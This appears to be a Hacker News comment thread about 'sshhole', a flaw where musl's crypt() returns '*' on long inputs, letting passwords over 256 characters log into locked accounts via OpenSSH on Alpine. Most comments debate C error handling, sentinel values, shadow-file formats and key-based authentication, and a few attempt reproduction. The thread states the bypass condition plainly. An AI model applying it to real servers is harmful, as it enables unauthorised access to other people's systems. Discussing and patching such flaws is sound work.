[0] https://news.ycombinator.com/item?id=50377221

You can use \ to escape formatting.

[1] https://hachyderm.io/@damienmiller/117563026759098135

As in: "Actually out there"

The hypothetical Alpine exists, yes, but what runs that like that?

I'm guessing in practice relatively few people are actually exposed. But if they are, it's catastrophic.

It would be super helpful if you would answer a "what, specifically" question with a "this, specifically" itemized list or not answer at all.

This is not helpful.

"tl;dr" was a bit of a downgrade though, but that's fine

it's a nice way to promote the company behind it

[0]: Be they human or LLM. Or an entity with any proportion of the two. I do not judge nor discriminate.

  <title>*sshole · sshhole.com</title>

However, if someone already developed a strong AI-slop-tingle it will still be triggered by some telltale signs and let their subconsciousness know that they can't possible enjoy this.

This thread highlights why I often say that at some point in the future, the obsession with whether something was written by AI or not will be classified as a mental disorder.

It is tiring to virtually every day see this discussion play out in some HN thread or other. It's also just noise. I don't think your comment, nor the thread it inspired, added anything of value to the discussion.

> so musl (the libc under alpine) goes ok fine, crypt() just won't return NULL anymore. if it fails, it returns a single character instead.

Considering it's been accepted that crashing if malloc returns a NULL is your fault, did musl really feel the need to accommodate bad implementations like this or is this just AI dribble?

I don't know about this specific case but in general? Yes, totally. No one is going to fix all existing software that depends on libs behaving exactly as glibc, you have to accept some trade-offs. Either your new implementation stops being perfectly simple and clean, or no one uses it.

[1] https://git.musl-libc.org/cgit/musl/commit/?id=b3c4cc121f70f...

Maybe I should update my plea to fail loudly (https://alejo.ch/3gk) to list this as an example.

NetBSD and libxcrypt both have similar workarounds. NetBSD has a paragraph on the reasoning.

   The behavior of crypt() on errors isn't well standardized.  Some imple-
   mentations simply can't fail (unless the process dies, in which case they
   obviously can't return), others return NULL or a fixed string.  Most
   implementations don't set errno, but some do.  Version 2 of the Single
   UNIX Specification (``SUSv2'') specifies only returning NULL and setting
   errno as a valid behavior, and defines only one possible error (ENOSYS,
   ``The functionality is not supported on this implementation.'') Unfortu-
   nately, most existing applications aren't prepared to handle NULL returns
   from crypt().  The description below corresponds to this implementation
   of crypt() only.  The behavior may change to match standards, other
   implementations or existing applications.

    The function crypt() returns a pointer to the encrypted value on success, and NULL on failure.

    On success, a pointer to the hashed password is returned.  On
    error, NULL is returned.

I also found scroll-triggered animations hard to read at first, but these days a lot of sites use them, so I've gotten used to them.

Also, what's with this damn trend of typing in lowercase only? Why is this a thing?

> oh did i say "i"? sorry. i had agent swarms. a lot of them. let's not get into it

Still a cool finding... it's just the communication is becoming a lot worse these days - I want to understand the findings please, not be impressed by your webpage! Biggest gripe in recent memory is https://github.com/xoreaxeaxeax/skitter-creek-bath-salts

Anticapitalism.

I think for any one of those bugs there might simply be half a dozen footguns or bugs that once it's spelled out you wonder how anyone let it slide.

I think that's the case where LLMs might indentify most.

It's challenging though as the current AI audits produce so many false positives it's hard to know when it's being pedantic or when it's genuinely caught a human being a bone head

It is not really that hard to find in the wild if you had a device built this way, when overflowing buffers on embedded devices is a standard attack vector.

Each one relies on a perfectly valid argument - that * can't match because we all know it'll be rejected by the other thing.

But that's not a perfectly valid argument, and it never was.

I mean a person would probably use it instead of the * hack.

This by the way is Tony Hoare's famous "Billion Dollar Mistake"

The whole thing exists because APIs that return a NULL value that "nobody checks", plus a string that you shouldn't use if you actually did check the null value.

In languages with sum types, this cannot happen.

Either you get your hash, or no result at all. You couldn't get eg NULL and *.

Funny, C has sum types (coproduct is a sum type) and it still happened.

The use of sum types may have helped, especially when combined with a tag which is trivial to do in C, but a language having sum types does not imply that the authors will use them. No language can save a reckless developer.

Memory is where C is broken. I feel like without `defer` or destructors the language meaningfully is incomplete.

the fault for sshhole isn't just "C bad", it's a series of poor choices in workarounds falling together to create a vulnerability.

being condescending about decisions made 50 years ago, before any of the better languages you're mad the developer didn't use even existed, is silly.

if you want to lay blame, lay it at the feet of more recent devs that started returning values instead of NULL because people were using crypt incorrectly. likely sha512 returned a fake value instead of a real one because prior hashes couldn't fail. the interface should have been updated then, but instead they worked around it.

I can think of two common patterns that I've seen frequently:

* Return NULL for errors (sometimes with a global errorno() function).

* Return an integer error with any return values as out parameters.

So if it is possible to improve, why doesn't anyone do it?

> * Return an integer error with any return values as out parameters.

You must first standarize all that (usually negative) integers, make docs, check for it, do not make mistakes in your if's or case's...

And errno is just that - integers with a meaning. errno is even thread local now and quite safe to use but people on internet scream loudly when someone try to use that not app global varible :) I guess their llms statistically have less new texts feeded in ;)

At some point it is just better to return pointer to struct with all info you can imagine.

And how you think other languages implemented their Error type returns ? Just a struct or union with tag. Because current CPU's operate on simple type registers there is no other sane way to do it.

Because in fact all the changes were about changing the function signatures. The function signature is enforced by the linker. The semantic of strings that go through isn't.

Returning 2 values is possible in C (via pointers input parameters). The main issue here is that libc is a strong API contract based on C function signatures, that nobody can change, only augment with new symbols. Such strong API compatibility constraints happen in any programming language, and workaround to fit new behaviours in old APIs happens everywhere.

But also, its not like there were many alternative languages when the POSIX standards were designed so it's fair that it works like this.

But there has to be something in the payload field when it is not applicable. A null is perfectly fine.

The argument for changing that to "", if I understand the above linked discussion correctly, was that some users of this api threw away errors and a dummy value would be harder to ignore. You could argue that these behaviours are less common in Rust or Go, but that's not a technical difference.

The world is not perfect and sometimes you really need to work around bad users. Even in Rust or Go. I am not convinced this was such a case. If you are convinced it was it would still have been better to select a less trivial dummy value (such as ":ERROR:*").

Not in languages with ergonomic sum types. A `Result` or `Either` will have no payload field on the error type. The compiler won't let you dereference it.

    Maybe
    ——————
    Just hash
    Nothing

    For Either
    ————————————
    Left err
    Right hash

- sum/union types

- multiple return values/tuple types

- exceptions

means that most ways of returning an error from a function are not available in C. Because of this, many C APIs, including `crypt` in this case, resort to in-band error signalling by using a sentinel value (like NULL, a negative integer, "*" etc.).

Most other languages lack one or two of the above, but very few lack all three, and so most have developed a different culture around error reporting (Result in Rust, multiple return values in Go, exceptions in Java, Python etc.).

However, I also think "weakly typed" is not a well-defined concept, everyone seems to apply it differently. In particular, it seems to mostly mean "playing it loose with types in a way that I don't like".

Implicit conversion could be seen as weak typing, but it is limited to specific arithmetic operations in C. I would see implicit conversions as problematic if they allowed operations that make no sense. Decay of arrays and function to pointer conversion also do not seem problematic to me for this reason.

Void pointers are also weakly typed, but they are specifically designed for this. So if you do not want this behavior, one would simply not use them. It is a bit like using "unsafe" in Rust.

And it's very evident why the difference matters. People gravitate to what's readily available and ergonomic. That's why every C API under the sun (most definitely including libc itself) does janky stuff like returning -1 or "*" on error instead of building their own bespoke Result-style abstraction. A programming language is not just the things that are in some way possible within it, but more importantly the things that are easy in it.

A language should encourage writing robust/secure code, not just make it possible.

In any case, I do not think the issue here is caused by not having a pre-defined result type. Checking for null would have been fine. The issue was that to accommodate old and broken code a compromise was made. But as long such compromises are done even where fixing such old code would be quite easy, it is clear that changing to another language is completely unrealistic. So what are we even talking about? The real issue is that nobody wants to spend money or effort maintaining the old code. No language can fix this.

And really often when your "in-band error signalling" in Rust is more expensive you realise (perhaps to your horror) that your C wouldn't be correct, so you just dodged a bullet. For example Option<OwnedFd> is, like OwnedFd, a 32-bit value, Unix has always reserved -1 to mean invalid, so Rust can treat that as a niche. But the Windows equivalent Option<OwnedHandle> can't do this because, well, cue Raymond Chen: https://devblogs.microsoft.com/oldnewthing/20040302-00/?p=40...

But aside from NonZero- and NonNull-based layout optimizations, I don't think Rust is doing anything special to obtain that machine code - it's just relying on LLVM to optimize things.

But sure, for the most part LLVM will do The Right Thing™ here without much help and Rust is just giving better ergonomics to the same backend.

I think with C23 you got half a banana now. Still can't do it because C23 didn't adopt proposals to allow returns of untagged/anonymous structs.

If you could then you could write

  auto rtn = Foo();
  if(rtn.err) 
    printf("err=%i", rtn.err);
  else
    printf("Foo=%i\n", rtn.foo);

    struct Input<'a>(&'a [u8]);
    

    impl<'a> Input<'a> {
      fn new(input: &'a [u8]) -> Result<Self, Error> {
        if input.len() >= 256 {
           return Err(Errro...);
        }
        
        Ok(Self(input))
      }
    }

In any case, you can not change the API of an existing function. But returning NULL for error has required by POSIX would have been just fine.

Granted I mostly work with high level programming languages so I may be missing something.

That being said, OpenSSH did mismanage their attempts at handling a garbage return-value from crypt(), so there's definitely some blame to go around.

When later it turned out that musl's procrustian stack size made Python not really runnable under it, it cemented my resolve to not go near musl.

And now we have this.

And why because some dude was complaining sshd or whatever was crashing because it didn't handle nulls? Just handle the null my guy you already know why your bullshit is crashing.

Am I doing anything wrong here?

OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026 PRETTY_NAME="Alpine Linux v3.24"

I only ever see Alpine Linux used for containers which don't need accounts with interactive user logins, which is not to say it doesn't exist, just that it doesn't seem like Alpine comes with all preconditions met out of the box

> accounts that should never take a password at all (root, your key-only deploy user, ldap users, the default user on alpine's aws and azure images) take any password longer than 256 characters.

But the correct behavior was supposed to be:

> a * isn't a hash, so no password can match it. unix still does this today'

> and if the field is just *? there's nothing to match. type whatever you want, it's never getting you in

Last two entries in /etc/shadow:

    test:*:20762:0:99999:7:::
    q3k:$6$snip.GgDQNTrqqX.A0:20762:0:99999:7:::

Didn't notice that the openssh-server-10.3_p1-r2 was released today.

But, got it to work on 3.15 - which requires changing the ! to a * in the shadow file in addition to other steps (making another user with a hash, setting PermitRootLogin to yes, etc.).

https://pkgs.alpinelinux.org/package/v3.16/main/x86_64/opens... Build time 2026-11-05 06:53:46

on 3.21 with the previous version ...

I tried adding PermitRootLogin yes and PasswordAuthentication yes. Tried adding another user with a valid password.

Verified shadow entry has a *. Can't login as root or a test user. Tried another incorrect password first as well.

Is it mainly that it is too big?

I feel like everybody still loves the unix philosophy, but the previous tools were too bad, systemd just filled user demand for easier tools.

The moment someone makes a pid 1 software that is good and still modular, open and pluggable I think that will be an instant success.

But systemd is not a technical problem, it's Redhat (and IBM) having too much control over what happens to the init system.

And of course there is Pottering and his vile Microsoft stint, then another vile stint to enforce age verification on Linux.

Can we have a “don’t treat me like five/toddler” / “idgaf about the explanation” quick link to a section for adults who need to patch systems?

(And if your reaction is “just scroll down, stupid”, I’m happy to report that with the scroll jacking, I scroll not enough / past the critical sections nine out of ten times.)

Its not asking for trouble, it is there will be trouble, not if but when.

As for the people who say "well, I run SSH on port 942329053052". Well guess what, the bots make short work on that. We tried it at $work as an experiment, multiple bots found it in less than a couple of hours. That's why your SSH config must be hardened, preferably running on a hardened OS too.

Does it ?

Somebody here has already said "You can set PasswordAuthentication=no or update to remediate"

We don't use musl at $work anyway, so I've no means to test.

It's not just the parent commenter. I'm sure somebody out there is going to remove their account password instead of editing their sshd_config in an attempt to "patch" this vulnerability, actually exacerbating the problem.

You > This particular bug works even with password authentication turned off.

No. The bug is related to password authentication. If you do not have password authentication then you are not affected.

What freaks some people out is they chose parameters where they do have password authentication but they expect to always fail. That's a bad choice, like OK you did fit a cheap manual keyhole, but you threw the keys away thinking now nobody can open that - you realise somebody with a cheap jiggler can open it right ?

In other words, conceptually, at the end if the day, isn’t a key just another name for a password, really?

Keys are usually at least 128 bits of entropy, and it's easy to take them up to 256.

Yes, both are a shared secret, but password auth - even with challenge-response - is weaker than key auth exactly because key auth provides more guess resistance.

What cpu and especially what disk load are you talking about? Also not running out of sockets, not sure if that's RAM-dependent (the box has 2GB)

Worth noting that if you are running a remotely recent version of SSH it has everything you need built-in. No need for Fail2Ban on SSH these days.

There are various ways, but you will probably want to start by investigating a combination of :

      - PerSourceMaxStartups
      - PerSourceNetBlockSize
      - PerSourcePenalties
      - Match Invalid-User + RefuseConnection

The best password in the world will still be defeated by a simple keylogger or breach of your password manager.

The comparison here is between in-memory cryptographic keys and in-memory passwords. Yeah typing a password into a keyboard adds a vulnerability in between the keyboard and the computer, but it's not a huge difference in security posture. If the device using the secret is compromised, so is the secret, whether it came from the user's mind or not, whether it was stored encrypted before the user used it or not.

A physically separate hardware security module does add protection but I think that's a different conversation.

SSH certificates are cool too.

but I guess that the hash is always the same unlike with pub priv key mechanism.

Kind of irrelevant.

Password is already easily defeatable before it even leaves your computer, thanks to keyloggers and/or password manager breaches and/or old-school shoulder surfing (assisted by covert filming and AI).

Even 5+ years ago, hardware-backed SSH keys were a thing (Yubikey). The only difference today is that its 100% easier to do keys properly because of the widespread commoditisation of secure enclaves in desktops and smartphones to support FIDO, its basically free of charge now because you're not obliged to buy a Yubikey.

Well, it's a heck of a lot weaker in this instance (at least when `PasswordAuthentication no`)

Why not ?

Even if you don't want to go all the way to SSH certificates, SSH public-key authentication is laughably easy to do.

I also don't buy the argument "but its on a ULA address". Attacker's old favourite these days is finding a way in (North–South) and then using that as a stepping stone (East–West). Also the general concept of "lower security is OK because its on the LAN" is so 1997.

No excuse for doing that these days.

You can use a Yubikey or you can use your computer's secure enclave or TPM with FIDO at no extra cost.

A password is never, ever "strictly better". Seriously, you're just making shit up now.

Did any of those bots brute force a password? Because a 20 character random password is comparable in brute force complexity to an SSH key. The experiment you ran was just as valid for SSH keys on that port, and had no bearing on password vs key.

The point is they found the security by obscurity so-called "hidden" port in less than a couple of hours.

At that point, what they did is irrelevant. The point is that security by obscurity does not work in 2026.

> Because a 20 character random password is comparable in brute force complexity to an SSH key.

You can't be serious with your comment.

No its not.

And even then, SSH key is asymmetric, you're not sending the private key to the server. But with a password you are, which leaves you vulnerable to many attack vectors that simply do not exist with keys.

I feel the opposite, note how most all AI vulns discovered use source code level analysis, empirically keeping source code hidden is more secure.

kerchoff’s principle is misconstrued by a voyeuristic internet that wants to see source code

(almost) No company actually has secret source code, only source code not publicly viewable. And the LLMs crawling those don't belong to people who make public disclosures.

Using LLMs is a great way to empower the governments behind them (US and PRC) to cultivate a garden of undisclosed bugs in your closed commercial codebases.

> You can't be serious with your comment. \n\n No its not.

If you differ in opinion, maybe provide evidence? Especially for a claim like long randomly generated value 1 being weak as compared to long randomly generated value 2

If you mean it's log(62^20,2)≈119 bits of entropy instead of 128+ and so it's theoretically weaker when we build a Dyson sphere around the sun to brute force that key (after somehow obtaining the shadow file, since an online attack would be way too slow), then sure

Microsoft has historically been one of the leaders on the wrong side of this one, but they have also demonstrated how effective it is to call out badly behaved software and make it annoy the users with UAC. When Vista came out, so many applications needed elevated privileges to run because they were badly designed to write user data in system locations, but now their application was more annoying to use and came with a scary dialog about it making changes to your computer that other better-designed software didn't get.

More often than not if a program didn't actually intend to change system settings it was just a matter of badly chosen default paths which are pretty trivial to fix, but so many vendors just would not do it despite years of complaints from NT admins wanting to not have to spend hours with Process Explorer figuring out specific permissions to grant limited users enough access. Once their failures were put front and center, calling their application out as the one getting things wrong every time the user ran it, they suddenly had motivation to fix it.

I suspect that Microsoft has the same history: the entire Windows platform was built with single-user PCs in mind, mostly only dealing with trusted input. The users were also expected to be tech-illiterate for the most part and unable to troubleshoot deep technical issues.

More recently I'm still working on video transmission, but on the production side this time. I also originally adopted the mentality that I should crash early if some unexpected situation was encountered, but I ended up walking that back a lot, because having a critical piece of live media production reboot mid FIFA worldcup final is generally Not Great. Degraded functionality is usually preferable. I still crash early in dev builds, but the production code just logs an error and continues if at all possible.

That said, I definitely agree with you for something like password handling. In this case, I do think it's warranted to crash the program without survivors if something is amiss.

Story time?

It's not great, but these days a trickster with AI will find some way to start broadcasting porn to a billion people because of the flaw, so may end up being the better option.

It's hard to define what's security oriented and what is not. For example, is this HN web app security oriented? Not in the way of sshd but it must keep our accounts data separated and it must not let people exfiltrate data from the db, where for example it is storing the emails of some of us.

Different situations, different requirements, different options, different trade-offs.

Consider also the use cases in https://github.com/rust-lang/rust/issues/43596 , despite Rust defaulting to panicking. Also, despite Rust not having exceptions, some configurations allow for "catching" panics, meaning that some Rust programs have to be "unwind-safe", similar to C++ exception safety.

Objective-C ahem nil messaging...

Sadly, we will never learn this because failing fast runs counter to intuition, and a class of person will never override it.

They will look at problems caused by failing late and they'll see proof that failing fast is bad.

100%

Is there a test or check I can use to determine that software is 'good'?

Oh there isn't? Good/bad is subjective? We need to scape goating hacks as bad software, as if anyone is capable of perfect code. Perfect code would require knowing the system inside and out, the stack up and down - no one knows all that, no one is perfect. Sufficiently advanced AI though can rip through all of that, find the weakest spot and zero day it, bringing the entire house of cards down.

Software you thought was good can still be hacked. There is no way to create provably unhackable software.

Which means all software is packed with vulnerabilities just waiting to be discovered, no matter how good you think it is.

If /etc/shadow was a JSON (or XML, even, although that would make me feel gross), this bug would have been much easier to see, because a field that reads '"hash": ""' sticks out a lot* more than a custom microformat that you don't understand.

With data structures, there's never "plain text" - it's all structured. The question is whether you want to use existing formats and tools, or create a new one for every tool and literally make footguns like this.

  NO_PROXY=1 curl -qs --data @./my\ message.txt -- \
  "https://user:[email protected]/user/${userid}/my%20message.txt"

E.g. in Pascal you can can define a record and then defined file of record to have typed I/O. I.e. it comes with built-in serialization format supported by compiler. Not a good one - but perhaps a step in a good direction.

OTOH C people starving for serialization often believe that `struct` byte layout made by a specific version of a compiler is a serialization format - a view not endorsed by the standard.

Some badly designed password hashing algorithms (cough bcrypt cough) have maximum password lengths, ignoring everything after X characters. So it could happen that I set my password to a 100-character string, it gets saved "==DANGEROUS_CRYPT_ERROR_length==", and then anybody can log in to my account by entering an unrelated long string.

If a function promises a string result, it should only provide a string if the function succeeded. The null was much better than magic strings.

https://pubs.opengroup.org/onlinepubs/009604599/functions/cr...

>Upon successful completion, crypt() shall return a pointer to the encoded string. The first two characters of the returned value shall be those of the salt argument. Otherwise, it shall return a null pointer and set errno to indicate the error.

returning a sentinel value of NULL and setting errno is pretty standard C, and shouldn't cause an error.

OP's sshhole link specifically notes that it _should_ return NULL, but some MUSL devs decided they wanted it to return trash instead, and the trash they returned instead of NULL caused this.

All because some devs were too lazy to check the result and another dev decided to be clever and "fix" NULL errors from crypt by sending back 'unmatchable' trash banking on devs not checking NULL.

No error handling scheme can fix that problem. For instance, if a Rust API says I should return a Result<String, ENOSYS>, I can always write code like `if(ENOSYS) { return Ok("*") } instead of returning Err(ENOSYS).

Then my code would be compatible with MUSL.

   if(ENOSYS) {
     return "*";
   }

The only reason this library did the insane thing of returning "*" is because it was extremely easy to cause crashes or false-positives (NULL == NULL) by returning NULL+errno. The reason that was easy is because C lacks a means of making error handling mandatory (exceptions, tuple returns, tagged unions, whatever).

If you return a tagged union, users might mis-handle it, it's true (https://blog.cloudflare.com/18-november-2025-outage/). But they have to handle it, which is a requirement that C APIs are incapable of providing.

Also, in things like rust you can just do result.unwrap() if you want. In general, language constructs don't really save you from bad programmers.

In practice, that's less of a risk than:

    char* x = function_that_might_return_null_and_error();
    dangerous_function();
    if (x == NULL) {...}

    char* x = returns_null_or_a_slice_pointer(data_structure);
    char* y = other_function_that_returns_null_or_a_slice_pointer(data_structure);
    if (x == y) { puts("you're fucked now!"); }

   x : Result<string, err> = function...
   dangerous_function();
   switch(x) { 
     Ok() ... 
     Error() ...
   }

To be clear, I strongly prefer Result<> because of the readability, but any dumb thing you can write with NULL + errno can be written with Result (and vice versa).

But it crashes at runtime, so such a bug can exist for years with nobody noticing.

The existence of such bugs is what motivated the musl developers to return "*" instead of NULL.

So if you're strictly adhering to the spec in this case then unfortunately NULL is not an acceptable way to signal a generic error condition. Hence all the seemingly bizarre special values. (In a strange turn of events all those experts doing things that looked weird turned out to know what they were doing. Go figure.)

But all those sentinels were added for the reason that, when your code is a public API intended to be widely used by who-knows-who, it needs to be really difficult to misuse it. NULL-plus-errno is easy to misuse. Yes, it's a dangerous mistake and your own fault if you do it. But people have been making that mistake for years and don't show any signs of stopping.

The root cause here is that C is fundamentally a rotten choice for public APIs of any kind. I griped more here: https://news.ycombinator.com/item?id=50381800

Here's how to explain it in order to blame openssh:

openssh processes passwords and doesn't want to reveal through timing whether a user has a valid password (or exists at all). So far so good.

What they do if they hit a user with no valid password (i.e. "*") is that they look for another user with a valid password, to use the seed from. A bit weird already, but OK from a perspective of avoiding implementation specifics on seeds and hash algorithms. They know at this point that the result must be to deny access even if the hashed value matches, because that has is for another user.

So they put the password received over ssh into crypt() with this other user's hashed value to get a seed. And then accept it if it matches, apparently?

Homework: what happens if the password actually matches another user? Can I log in as root if openssh randomly picks my user for the fake salt, and I type my own password correctly?

I wonder if somebody else would have thought the exact same thing in a different (non-/etc/*) context, and then you get the same effect in a more obscure manner.

That's a meaningless statement. There isn't a singular "the" issue like you said. Any one of several different technical decisions would have completely prevented the issue. Including, to my point, /etc/shadow being a JSON file where an account being locked is an `"active": false` field instead of an asterisk with no intrinsic meaning.

I can't even get an obvious UX improvement through PAM because they like it broken.

https://github.com/linux-pam/linux-pam/issues/778

The elegance of the unix-y approach is actually that it's all bits. You can just join things together and shove the bits through, that's a wild simplification compared with having vendor-specific kinds of plugs.

But we could have that kind of compatibility while also benefiting from structure. The OS could probe either side of the pipe to see if they support negotiation. If not, send the bits through in the same old unixy way. If so, use the newest schema for structured data that is supported by both sides.

https://github.com/benbernard/RecordStream

I have a bunch of management scripts, etc, that need to run on everything from a potato to a T-1000, and that's the only language that's always available. (OpenBSD sh, FreeBSD sh, busybox, bash, dash, zsh all can cope with it).

I'd love something that's at least JSON-typed (or equivalent), but that can be bootstrapped up on least-common-denominator posix.

Has anyone built something similar? (Yes, I'm being picky -- bun / ts is already a pretty low bar for cross platform support, but these scripts do stuff like install node, so I'm not totally crazy for asking.)

Honestly I've been shaking my fist at these since the XOn/XOff days

A function is expected to produce a result - so the question is "what was the result?". !0 (something) is the logical expected default return.

I've never found it to be contradictory.

"False pretends to have an error" is where it gets weird. It's not that they got booleans backwards, it's that they're stretching a tenuous analogy a bit too far.

Correct

> so 0 (false) is the logical expected default return.

Nope

We came to expect zero because we got accustomed to it. And it is a "good enough solution" in memory constrained systems.

And note some programs attribute >0 and <0 to different types of errors

For historical reasons, we could’ve ended up JSON as “hash”: “*” just the same. The /etc/shadow format lets you skip values completely, like “::”, so your argument doesn’t hold.

For instance, what if your error handling code throws?

One spectacular example of panic saving the day was the Apollo 11 1202 error. It was basically a watchdog timer that fired if the landing computer was starved of CPU time. A misconfiguration caused the first moon landing to hit CPU overload. When that happened, the computer displayed 1202 and rebooted, then ran things in priority order. Apollo 11 landed in the middle of a tight 'panic, reboot, adjust thrusters' loop. Thanks to core memory, most of the heap survived the reboot, so the reboot step was fast enough for it to mostly land without human interaction. The pilot had to make ~1 adjustment to get it to actually hit the landing site, but the panic-ridden computer handled the rest of the descent.

https://dpma.de/english/our_office/publications/ingeniouswom...

Panic is fine, but fundamentally a whole-program crash is undesirable in a really wide range of use-cases. I don't want other SSH connections to crash (or the server to stop accepting valid logins until someone restarts sshd) if one person tries to log in with a credential that triggers a panicking bug in crypt(). Same for crashes in request handlers and so on.

The language/runtime itself doesn't (and probably cannot, at least if it's a general purpose language) distinguish between local and global error conditions, so panics (just like "throws" in Java or process boundaries in Erlang) end up being either unnecessarily damaging, or languages like Go end up normalizing panic "localization"/handling in dangerous ways.

The better solution is required error handling. If user code must engage with the possibility of an error state in order to access a result, that's a huge step forward. They can do the error handling wrong, but if you make most people have to do it at all most of the problems will go away.

"I forgot to check for an error" should not be implicated in bugs in 2026; we have had a large menu of possible alternatives (checked exceptions, unchecked exceptions, tagged unions, etc.) for decades. But we're still over here writing C (and Go), languages pathologically incapable of providing this ability.

This is also why you can upgrade SSH over SSH without having the connection drop mid-stream.

It has to: if it did 100% of the post-accept(2) work in a subprocess it would be pretty easy to remotely forkbomb/PID-exhaust a system by spamming invalid logins.

> You cannot avoid "I forgot to check for an error"

Yes you can. Checked exceptions and tagged unions both force calling code to be written with error-awareness.

In SSH's case, "I forgot to check" might lead to crashes (which might knock over sshd so new connections are impossible), or it might lead to false-positives via comparing NULL == NULL.

I'd much rather that boneheaded API users have to write code like

    resultstruct x = authenticate_user(user)
    if x.haserror {
        rv = { .user = user, .result = "successfully authenticated" } 
    } else {
        rv = { .user = user, .result = x.result }
    }
    return rv

As for DRAM: if by “exception loading page” you mean an OOM, then have malloc use the same error reporting system. If you instead mean “some other failure faulting/fetching a page from main memory”, well … crash? I don’t know of any platform that has semantics for handling that condition. Hardened spacecraft OSes, maybe?

This contains a false snuck premise - that one and only one thing was the footgun. This is categorically not true. An obtuse, poorly-understood, purpose-built text-based DSL is absolutely a footgun and if it was replaced with a JSON and inactive accounts had been indicated by `"active": false` instead of a freaking asterisk then this would absolutely would not have happened.

> For historical reasons, we could’ve ended up JSON as “hash”: “” just the same.

That's dishonest, because it intentionally conceals the fact that that's a vanishingly* unlikely scenario.

People have brains that, factually, are far more likely to see a single context-less character "" and not realize the implications of it than to see `"hash": ""` and think "oh, that's normal".

This is just straight-up psychologically true.

> The /etc/shadow format lets you skip values completely, like “::”

Totally irrelevant.

> so your argument doesn’t hold.

False `::` is both (1) still harder to understand than `"active": false` and (2) even though the syntax existed it wasn't used here because everyone thought they understood the system.

Don't make excuses for this insane text syntax. It is, factually, harder to understand than a decently-written JSON format.

That's what I was thinking of. I assume something similar exists in other languages.

So yeah, I guess it either needs to happen at runtime, or we just do signaling and user data on separate file descriptors.

Or, for backwards compatibility, start non-hash strings with a character which can't appear in a hash, such as '@'. Your examples would then become '@no_password' and '@error_while_hashing'.

In a sense, they should've changed the parsing logic to return a struct with a field 'password_hash: Option<String>', and defined the grammar of the field to be: "a hash string, or '*' for no login". The bug is, in part, caused by the haphazard way they don't change any formal grammar or contract and just relied on the fact that '' happens to* never be a valid hash.

It's the difference between "happens to work" and "defined to work by construction". The former approach breaks once a hash function is invented where '*' is a legal hash (such as this new musl crypt() hash function where all strings longer than 256 bytes hash to '*'). The latter keeps working regardless because the asterisk is treated as "no password" already at the parser stage.

So, any field de-reference in Java can produce a null pointer exception. Try testing all paths in something like:

try { foo.sideEffect1().sideEffect2()...sideEffectN(); } catch { bar.sideEffect1().sideEffect2()...sideEffectM(); } finally { quuz.sideEffect1().sideEffect2()...sideEffectP(); }

There are M * N * P paths. The only way to write testable code with exceptions is to panic on uncaught exception, and to never catch unexpected exceptions. Even then, you're relying on nothing unexpectedly throwing the exception type you caught.

I'd argue Result<T> >> NULL >> sentries >> exceptions for this reason. Sentries are terrible, but at least they're not computationally hard to use correctly.

And I'm not a fan of breaking control flow, but I still find it preferable to nulls. A null may travel far from the place where it was generated before blowing up, making troubleshooting harder, or it might come from a function you called for its side effect but forgot to check the return value. I gotta say I'm also a careful enthusiast of checked exceptions, it's great knowing which ways a function can fail.

But I think the consensus is growing that Result<T> (plus warnings for unused return values) is simply the superior choice.

   int foo f() __attribute__((warn_unused_result))

Which is why the pattern of double-checked locking doesn't work.

https://en.wikipedia.org/wiki/Double-checked_locking

   this.dangerous = new Lol();

   while(!this.dangerous) { }
   assert(this.done) // will throw.

That's pretty lame though.

Yes, broad exception catch clauses are simply incorrect code.

Panic is maybe an overreaction, "scratch everything and orderly abort" is sufficient.

That can only happen if you leak the reference (given we are talking about java language level semantics and not byte code), which I give you is unfortunately not that hard to do.

As for exceptions, I think they would pair beautifully with software transactional memory, which would work well with effects. In that case (and no side effects) it would not matter what code path we took, we could just go back to a known safe point.

Because ergonomy-wise I still think exceptions win (even though I do like Maybe types, and Rust's ? macro is plenty good): - they let one focus on the actual happy path code - no error is ever swallowed, unless explicitly written so (looking at you go with useless if errs that fail to properly handle the error), they are always handled somewhere - they automatically "unwrap" the Ok result, and automatically bubble up the Err side. - bubbling up is especially useful because most errors can't be handled at their source (e.g. IO error is meaningless, how you handle it depends on what you want to do in the first place, which is done several layers higher) - they automatically attach a stackframe/source, while with result types you may get a list of Ok Ok Ok Err and have no idea how that Err got there.

Software transactional memory doesn't really work with exceptions, since it precludes the use of catch + finally. It looks more like a top-level panic handler (where the throwing code cannot permute the heap, which is cool). To get exceptions, you'd need nested software transactional memory, which gets into obscure transaction processing theory. There's also the problem that your transaction could side-effect the outside world, then throw and be aborted, so you need to rework how I/O works if you walk down that path.

Exceptions are basically write-only, so I agree that their ergonomics for that use case are pretty good. Panic is better though, since it's really no error handling. Panic is easier to test, and easier to read / understand.

Nothing in your post actually supports the idea that exceptions are "computationally hard". The CFG error edges exist however the errors are spelled

Doesn't this address the issue? https://openjdk.org/jeps/539

https://en.wikipedia.org/wiki/Semipredicate_problem

  > root@OpenWrt:~# cat /etc/openwrt_release | grep DISTRIB_RELEASE
  > DISTRIB_RELEASE='25.12.6'

  > root@OpenWrt:~# which ssh
  > /usr/bin/ssh
  > root@OpenWrt:~# ssh -V
  > Dropbear v2025.89
  > root@OpenWrt:~# ldd /usr/bin/ssh
  >  /lib/ld-musl-aarch64.so.1 (0x7f8e120000)
  >  libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x7f8e0b8000)
  >  libc.so => /lib/ld-musl-aarch64.so.1 (0x7f8e120000)

  > root@OpenWrt:~# which dropbear
  > /usr/sbin/dropbear
  > root@OpenWrt:~# dropbear -V
  > Dropbear v2025.89
  > root@OpenWrt:~# ldd /usr/sbin/dropbear
  >  /lib/ld-musl-aarch64.so.1 (0x7fbb900000)
  >  libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x7fbb898000)
  >  libc.so => /lib/ld-musl-aarch64.so.1 (0x7fbb900000)

  > root@OpenWrt:~# apk search openssh
  > openssh-client-10.6_p1-r2
  > openssh-client-utils-10.6_p1-r2
  > openssh-keygen-10.6_p1-r2
  > openssh-moduli-10.6_p1-r2
  > openssh-server-10.6_p1-r2
  > openssh-server-pam-10.6_p1-r2
  > openssh-sftp-avahi-service-10.6_p1-r2
  > openssh-sftp-client-10.6_p1-r2
  > openssh-sftp-server-10.6_p1-r2
  > openssh-sk-helper-10.6_p1-r2

gregor@krekrm3 ~ % ssh [email protected] [email protected]'s password: Permission denied, please try again. [email protected]'s password: Permission denied, please try again. [email protected]'s password: Connection closed by 192.168.1.1 port 22

Also, idiomatic Rust would have prevented _parts_ of this. Idiomatic C would have too, but apparently nobody is writing idiomatic C.

